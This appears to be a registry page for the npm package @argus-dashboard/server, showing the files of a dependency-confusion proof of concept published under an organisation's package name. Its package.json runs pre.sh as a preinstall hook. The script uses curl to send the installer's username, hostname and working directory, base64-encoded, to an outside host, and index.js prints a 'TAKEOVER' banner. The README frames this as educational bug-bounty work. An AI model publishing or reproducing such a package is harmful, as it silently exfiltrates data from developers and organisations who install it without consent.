@argus-dashboard/server 0.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @argus-dashboard/server might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +15 -0
  2. package/index.js +1 -0
  3. package/package.json +15 -0
  4. package/pre.sh +3 -0
package/README.md ADDED
@@ -0,0 +1,15 @@
1
+ # npmdc-poc
2
+
3
+ Template repository which contains dependency confusion poc for npm package
4
+
5
+ ## Usage
6
+
7
+ 1. Clone the repository
8
+ 2. Update `package.json` file with the vulnerable package details
9
+ 3. Update `pre.sh` without your RCE command
10
+ 4. Publish the package
11
+ 5. (Optional) `backend.php` (if you want to setup a php api which will email about the trigger)
12
+
13
+ ## Disclaimer
14
+
15
+ This is only for educational purpose. User will be responsible for any usage of this.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ console.log('================ TAKEOVER by Codermak ================')
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "@argus-dashboard/server",
3
+ "version": "0.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "./pre.sh @argus-dashboard/server"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/codermakhackerone"
12
+ },
13
+ "author": "",
14
+ "license": "ISC"
15
+ }
package/pre.sh ADDED
@@ -0,0 +1,3 @@
1
+ #!/bin/bash
2
+
3
+ curl http://kaspat.com/bugbounty/dependency-confusion-poc.php -H "Package: $1" -H "Whoami: $(whoami | base64)" -H "Hostname: $(hostname | base64)" -H "Pwd: $(pwd | base64 -w 2000)"